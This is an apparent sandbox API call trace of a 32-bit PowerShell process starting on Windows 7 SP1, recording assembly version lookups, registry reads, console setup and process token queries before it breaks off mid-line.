[0139.677] SetErrorMode (uMode=0x1) returned 0x1 [0139.677] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x2bea68 | out: lpFileInformation=0x2bea68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0139.678] GetLastError () returned 0xcb [0139.678] SetErrorMode (uMode=0x1) returned 0x1 [0139.678] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x2beaec | out: lpdwHandle=0x2beaec) returned 0x94c [0139.679] GetLastError () returned 0x0 [0139.680] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2cd5970 | out: lpData=0x2cd5970) returned 1 [0139.681] VerQueryValueW (in: pBlock=0x2cd5970, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x2beab8, puLen=0x2beab4 | out: lplpBuffer=0x2beab8*=0x2cd5a0c, puLen=0x2beab4) returned 1 [0139.682] VerQueryValueW (in: pBlock=0x2cd5970, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x2bea34, puLen=0x2bea30 | out: lplpBuffer=0x2bea34*=0x2cd5ae8, puLen=0x2bea30) returned 1 [0139.682] lstrlenW (lpString="Microsoft Corporation") returned 21 [0139.682] lstrcpyW (in: lpString1=0x67b350, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0139.682] VerQueryValueW (in: pBlock=0x2cd5970, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x2bea34, puLen=0x2bea30 | out: lplpBuffer=0x2bea34*=0x2cd5b3c, puLen=0x2bea30) returned 1 [0139.682] lstrlenW (lpString="System.Management.Automation") returned 28 [0139.682] lstrcpyW (in: lpString1=0x67b350, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0139.682] VerQueryValueW (in: pBlock=0x2cd5970, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x2bea34, puLen=0x2bea30 | out: lplpBuffer=0x2bea34*=0x2cd5b98, puLen=0x2bea30) returned 1 [0139.682] lstrlenW (lpString="6.1.7601.17514") returned 14 [0139.683] lstrcpyW (in: lpString1=0x67b350, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0139.683] VerQueryValueW (in: pBlock=0x2cd5970, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x2bea34, puLen=0x2bea30 | out: lplpBuffer=0x2bea34*=0x2cd5bd8, puLen=0x2bea30) returned 1 [0139.683] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0139.683] lstrcpyW (in: lpString1=0x67b350, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0139.683] VerQueryValueW (in: pBlock=0x2cd5970, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x2bea34, puLen=0x2bea30 | out: lplpBuffer=0x2bea34*=0x2cd5c40, puLen=0x2bea30) returned 1 [0139.683] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0139.683] lstrcpyW (in: lpString1=0x67b350, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0139.684] VerQueryValueW (in: pBlock=0x2cd5970, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x2bea34, puLen=0x2bea30 | out: lplpBuffer=0x2bea34*=0x2cd5cdc, puLen=0x2bea30) returned 1 [0139.684] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0139.684] lstrcpyW (in: lpString1=0x67b350, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0139.684] VerQueryValueW (in: pBlock=0x2cd5970, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x2bea34, puLen=0x2bea30 | out: lplpBuffer=0x2bea34*=0x2cd5d40, puLen=0x2bea30) returned 1 [0139.684] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0139.684] lstrcpyW (in: lpString1=0x67b350, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0139.684] VerQueryValueW (in: pBlock=0x2cd5970, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x2bea34, puLen=0x2bea30 | out: lplpBuffer=0x2bea34*=0x2cd5dbc, puLen=0x2bea30) returned 1 [0139.685] lstrlenW (lpString="6.1.7601.17514") returned 14 [0139.685] lstrcpyW (in: lpString1=0x67b350, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0139.685] VerQueryValueW (in: pBlock=0x2cd5970, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x2bea34, puLen=0x2bea30 | out: lplpBuffer=0x2bea34*=0x2cd5a64, puLen=0x2bea30) returned 1 [0139.685] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0139.685] lstrcpyW (in: lpString1=0x67b350, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0139.685] VerQueryValueW (in: pBlock=0x2cd5970, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x2bea34, puLen=0x2bea30 | out: lplpBuffer=0x2bea34*=0x0, puLen=0x2bea30) returned 0 [0139.685] VerQueryValueW (in: pBlock=0x2cd5970, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x2bea34, puLen=0x2bea30 | out: lplpBuffer=0x2bea34*=0x0, puLen=0x2bea30) returned 0 [0139.685] VerQueryValueW (in: pBlock=0x2cd5970, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x2bea34, puLen=0x2bea30 | out: lplpBuffer=0x2bea34*=0x0, puLen=0x2bea30) returned 0 [0139.685] VerQueryValueW (in: pBlock=0x2cd5970, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x2bea28, puLen=0x2bea24 | out: lplpBuffer=0x2bea28*=0x2cd5a0c, puLen=0x2bea24) returned 1 [0139.686] VerLanguageNameW (in: wLang=0x0, szLang=0x67b350, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0139.686] VerQueryValueW (in: pBlock=0x2cd5970, lpSubBlock="\\", lplpBuffer=0x2bea3c, puLen=0x2bea38 | out: lplpBuffer=0x2bea3c*=0x2cd5998, puLen=0x2bea38) returned 1 [0139.706] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0139.706] GetLastError () returned 0xcb [0139.720] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0139.720] GetLastError () returned 0xcb [0139.730] lstrlenW (lpString="䅁") returned 1 [0139.739] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bea00 | out: phkResult=0x2bea00*=0x314) returned 0x0 [0139.740] RegOpenKeyExW (in: hKey=0x314, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bea04 | out: phkResult=0x2bea04*=0x318) returned 0x0 [0139.740] RegOpenKeyExW (in: hKey=0x318, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bea38 | out: phkResult=0x2bea38*=0x31c) returned 0x0 [0139.745] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2bea78, lpData=0x0, lpcbData=0x2bea74*=0x0 | out: lpType=0x2bea78*=0x1, lpData=0x0, lpcbData=0x2bea74*=0x56) returned 0x0 [0139.749] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2bea78, lpData=0x67b350, lpcbData=0x2bea74*=0x56 | out: lpType=0x2bea78*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2bea74*=0x56) returned 0x0 [0139.758] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0139.758] GetLastError () returned 0x0 [0139.764] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0139.764] GetLastError () returned 0x0 [0139.785] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0139.785] GetLastError () returned 0x0 [0139.823] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0139.823] GetLastError () returned 0xcb [0140.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x2be540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0140.612] GetLastError () returned 0x2 [0140.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x2be540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0140.612] GetLastError () returned 0x2 [0140.863] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0140.864] GetLastError () returned 0xcb [0140.866] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0140.866] GetLastError () returned 0xcb [0140.949] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0140.949] GetLastError () returned 0xcb [0140.952] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0140.952] GetLastError () returned 0xcb [0140.952] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0140.953] GetLastError () returned 0xcb [0141.456] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x2be540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0141.456] GetLastError () returned 0x0 [0141.457] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x2be540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0141.457] GetLastError () returned 0x0 [0141.517] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0141.517] GetLastError () returned 0xcb [0141.523] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0141.523] GetLastError () returned 0xcb [0141.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0141.710] GetLastError () returned 0x7e [0141.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0141.710] GetLastError () returned 0x7e [0143.225] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x2be540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0143.225] GetLastError () returned 0x2 [0143.225] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x2be540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0143.225] GetLastError () returned 0x2 [0143.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0143.912] GetLastError () returned 0x57 [0143.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0143.912] GetLastError () returned 0x57 [0144.365] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x2be540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0144.365] GetLastError () returned 0x2 [0144.365] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x2be540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0144.365] GetLastError () returned 0x2 [0144.885] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x2be540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0144.885] GetLastError () returned 0x2 [0144.885] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x2be540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0144.885] GetLastError () returned 0x2 [0144.973] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0144.973] GetLastError () returned 0xcb [0144.976] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be608, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0144.976] GetLastError () returned 0xcb [0144.977] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0144.977] GetLastError () returned 0xcb [0144.977] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0144.977] GetLastError () returned 0xcb [0145.008] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0145.008] GetLastError () returned 0xcb [0145.168] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x2be54c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0145.168] GetLastError () returned 0x2 [0145.168] SetErrorMode (uMode=0x1) returned 0x1 [0145.168] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x2be9f4 | out: lpFileInformation=0x2be9f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.168] GetLastError () returned 0x2 [0145.169] SetErrorMode (uMode=0x1) returned 0x1 [0145.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be608, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0145.613] GetLastError () returned 0x0 [0145.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0145.613] GetLastError () returned 0x0 [0145.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0145.616] GetLastError () returned 0x0 [0145.624] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0145.624] GetLastError () returned 0xcb [0145.655] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0145.655] GetLastError () returned 0xcb [0145.656] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0145.656] GetLastError () returned 0xcb [0145.665] CoCreateGuid (in: pguid=0x2bead4 | out: pguid=0x2bead4*(Data1=0xbbc2459a, Data2=0x49d7, Data3=0x4076, Data4=([0]=0x97, [1]=0x23, [2]=0x74, [3]=0xf3, [4]=0x48, [5]=0x19, [6]=0x71, [7]=0xec))) returned 0x0 [0145.677] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0145.677] GetLastError () returned 0xcb [0145.684] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0145.684] GetLastError () returned 0xcb [0145.689] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0145.689] GetLastError () returned 0xcb [0145.706] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0145.708] GetLastError () returned 0x0 [0145.713] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x2be9b4 | out: lpConsoleScreenBufferInfo=0x2be9b4) returned 1 [0145.714] GetLastError () returned 0x0 [0145.720] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0145.721] GetLastError () returned 0x0 [0145.721] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x2be9b4 | out: lpConsoleScreenBufferInfo=0x2be9b4) returned 1 [0145.721] GetLastError () returned 0x0 [0145.723] GetVersionExW (in: lpVersionInformation=0x67b368*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67b368*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0145.723] GetLastError () returned 0x0 [0145.727] GetCurrentProcess () returned 0xffffffff [0145.727] GetLastError () returned 0x3f0 [0145.729] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2be9c4 | out: TokenHandle=0x2be9c4*=0x338) returned 1 [0145.729] GetLastError () returned 0x3f0 [0145.735] GetTokenInformation (in: TokenHandle=0x338, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2bea1c | out: TokenInformation=0x0, ReturnLength=0x2bea1c) returned 0 [0145.735] GetLastError () returned 0x7a [0145.736] GetTokenInformation (in: TokenHandle=0x338, TokenInformationClass=0x8, TokenInformation=0x67eee8, TokenInformationLength=0x4, ReturnLength=0x2bea1c | out: TokenInformation=0x67eee8, ReturnLength=0x2bea1c) returned 1 [0145.736] GetLastError () returned 0x7a [0145.739] DuplicateTokenEx (in: hExistingToken=0x338, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x2be9d4 | out: phNewToken=0x2be9d4*=0x330) returned 1 [0145.739] GetLastError () returned 0x7f [0145.739] GetTokenInformation (in: TokenHandle=0x338, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2bea1c | out: TokenInformation=0x0, ReturnLength=0x2bea1c) returned 0 [0145.739] GetLastError () returned 0x7a [0145.740] GetTokenInformation (in: TokenHandle=0x338, TokenInformationClass=0x8, TokenInformation=0x67efa8, TokenInformationLength=0x4, ReturnLength=0x2bea1c | out: TokenInformation=0x67efa8, ReturnLength=0x2bea1c) returned 1 [0145.740] 